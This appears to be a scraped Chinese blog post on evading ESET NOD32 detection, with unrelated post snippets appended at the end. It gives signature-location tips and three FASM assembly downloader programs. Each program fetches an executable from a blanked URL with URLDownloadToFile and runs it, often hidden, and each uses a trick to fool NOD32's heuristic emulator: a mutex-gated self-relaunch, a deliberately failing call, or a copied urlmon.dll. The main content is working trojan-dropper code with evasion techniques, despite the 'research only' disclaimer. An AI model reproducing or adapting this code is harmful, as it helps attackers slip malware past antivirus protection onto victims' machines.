定位免殺nod32的一些經驗
----collect dying site:
先說下定位方法:
1 nod32不能正向定位的,定位出來也是不能修改的!針對nod32應該選擇反向定位,開始位置為400
填充不一定是90 可以使任意的 現在填90有時候被干擾的
2 使用排除法
收集下目前免殺過nod32的方法
原始碼:1
原始碼免殺的另類方法函式的延遲載入
例:複製內容到剪貼簿 程式**
#pragma
comment(
lib, "
delayimp.lib"); //此處必須
#pragmacomment(linker, "/delayload:advapi32.dll")
#pragmacomment(linker, "/delay:unload ")
#pragmacomment(lib, "advapi32.lib") //加上這一行就可以了
2利用多執行緒反nod32啟發式偵查
下面我們來深入的剖析nod32的啟發機制:
啟發式我覺得應該歸根於檔案掃瞄引擎中,所以我們就將其叫做啟發式掃瞄吧。那麼nod32,不僅僅只是啟發式掃瞄,並且它也應用了傳統的特徵碼匹配技術(特徵碼匹配技術就是截獲病毒樣本,然後人為的進行逆向分析,這裡為nod32的病毒樣本分析師帥哥致敬,這些帥哥找出這個樣本的一些特殊地方,然後將這這些特殊地方作為特徵碼存放到病毒庫中並其乙個名稱, 例如nod32的起名規則一般為「平台/定義名稱,舉例 win32/ trojan**********)。nod32的啟發從控制台的檔案監控選項也能看出來。
我們看到它有乙個高階啟發式掃瞄的選項,我們勾選這個,則掃瞄引擎在掃瞄檔案的時候才會去呼叫高階啟發式掃瞄的過程。所以這個大家一定要注意勾選啊。o(∩_∩)o... 否則..如果nod32病毒庫沒有匹配特徵碼的話,你就over了。。
format pe gui 4.0 \
on '%include%\stub.txt'
entry __start
include 'win32ax.inc'
.text
__start:
xor esi, esi
i urldownloadtocachefile, esi, szurl, szpath, pathsize, esi, esi
ret;// data ///
.data
szurl db '', 0
szpath db 'c:\1.exe', 0
pathsize = $-szpath
.idata
library urlmon, 'urmon.dll'
include 'api\urlmon.inc'
上述**編譯後,nod32不報毒。
突破方式角度1:
因為nod32是基於虛擬機器的形式,所以第一種方法是基於虛擬機器。 實質是思維邏輯的判斷。 nod32通過虛擬機器****,那麼我在其上面給你一段正常的**。(注:這個之前的大致思路是朋友發現的,不過下面的整個思路和想法是自己所思索的)
舉例例如:
i getmodulefilename, esi, ebx, max_path
i winexec, ebx, sw_hide
i exitprocess, 0
這很正常吧。獲得自己的檔案路徑,執行後就退出。 我想nod32的引擎在虛擬機器分析到這裡肯定就已經斷定是乙個正常程式了。 因為尤其是到exitprocess這個函式位址處,因為這已經表示這個程式退出了。。
那麼大家仔細看,上面是獲取自己的路徑,然後執行自己。那麼我們只要讓它在第二次執行的時候去判斷自己已經執行過了,從而跳轉到特定的位址去執行,這個位址才是我們的木馬的**。 因為nod32每次分析我們的木馬,由於是初次執行,所以我們的判斷絕對跳轉沒有實現,所以指令只會去執行這幾句**,所以迫使nod32認為這就是個正常的程式**。 以此躲過nod32的啟發。
實現**如下:
code:
format pe gui 4.0 \
on '%include%\stub.txt'
entry __start
include 'win32ax.inc'
.text
__start:
xor esi, esi
i createevent, esi, esi,esi, szmutex
i getlasterror
or eax, eax
jne @f
mov ebx, szname
i getmodulefilename, esi, ebx, max_path
i winexec, ebx, sw_hide
i sleep, 1000
jmp _end
@@:i urldownloadtofile, esi, szurl, szpath, esi, esi
i winexec, szpath, sw_show
_end:
i exitprocess, 0
;// data ///
section '.data' data readable writeable
szmutex db 'woaihaha',0
szurl db '', 0
szpath db 'f:\2.exe', 0
szname rb max_path
.idata
library urlmon, 'urlmon.dll',\
kernel32, 'kernel32.dll'
include 'api\urlmon.inc'
include 'api\kernel32.inc'
這樣,輕鬆簡單的突破nod32啟發機制。。
突破方式角度2:
此突破方案,還是基於對nod32虛擬機器**模擬思維邏輯。 由於nod32是基於虛擬機器進行,那麼我想我精心設計乙個函式,使其是個錯誤的,nod32模擬分析到這裡,它模擬到這個函式本就是個錯誤的。我想它肯定不會在再去分析一遍這個函式,所以它肯定還是分析下面的指令,它分析到執行函式,認為這僅僅就是乙個的執行檔案的程式嘛,所以也認為是其安全的。。 呵呵,這樣也簡單的突破nod32的啟發。
**:code:
format pe gui 4.0 \
on '%include%\stub.txt'
entry __start
include 'win32ax.inc'
.text
__start:
xor esi, esi
mov edi, edi
xor ebx, ebx
jmp @f
_l1:
mov edi, szurl
mov ebx, szpath
@@:i urldownloadtofile, esi, edi, ebx, esi, esi
or eax, eax
jne _l1
i winexec, szpath, sw_hide
i exitprocess, 0
;// data ///
.data
szurl db '', 0
szpath db 'c:\1.exe', 0
pathsize = $-szpath
.idata
library urlmon, 'urlmon.dll',\
kernel32, 'kernel32.dll'
include 'api\urlmon.inc'
include 'api\kernel32.inc'
突破方式角度3:
**:code:
format pe gui 4.0 \
on '%include%\stub.txt'
entry __start
include 'win32ax.inc'
section '.text' code readable writeable executable
sztext db 'urldownloadtofilea', 0
szurl db '', 0
szpath db 'c:\1.exe', 0
szdll db '\urlmon.dll', 0, 0
sznewpath db 'c:\3.dll',0
szwindowpath rb max_path
__start:
i getsystemdirectory, szwindowpath, max_path
mov edi, szwindowpath
repne scasb
mov ecx, 4
mov esi, szdll
rep movsd
i copyfile, szwindowpath, sznewpath, false
i loadlibrary, sznewpath
i getprocaddress,eax, sztext
xor esi, esi
stdcall eax, esi, szurl, szpath, esi, esi
i winexec,szpath, sw_hide
ret;// data ///
.idata
library kernel32, 'kernel32.dll'
include 'api\kernel32.inc'
希望此篇文章能引起nod32的高度重視,,並且希望此篇文章可以幫助到大家深入的理解啟發機制,此文僅用於技術研究,如果用此文的技術做任何違法事情,本人概不負責。。因為我想目前網路上應該木有任何一篇文章能是本文這樣例項進行進行剖析的,最後祝願祖國的奧運會舉辦成功!!!!!
一些過時的免殺技巧 僅供參考
qvm07免殺方法 heur malware.qvm06.gen 一般情況下加數字簽名可過 heur malware.qvm07.gen 一般情況下換資源 heur malware.qvm13.gen 加殼了 heur malware.qvm19.gen 殺殼 lzz221089提供 heur ma...
py selenium xpath定位的一些方法
突然發現這個編輯器裡面的 有時間顯示不出來,好尷尬,這個定位方法和上個css那個還有好多地方用到,最好看截圖裡面表示式的寫法,外面的只是解釋一下 說過了css接著再說說xpath,還是需要大量的截圖,xpath定位和電腦裡的檔案路徑差不多如 html body div就是html下的body下的di...
debug的一些經驗
1.儘量減少debug,少用debug,優秀的程式設計師總是花80 的時間來思考如何解決問題,20 的時間來動手完成 而糟糕的程式設計師總是用20 的時間去寫 80 的時間去除錯 動手之前盡量想好如何去做,並且已經為你自己的思路做了充分的實驗。2.盡可能的提高debug的效率,設定合適的斷點,使用快...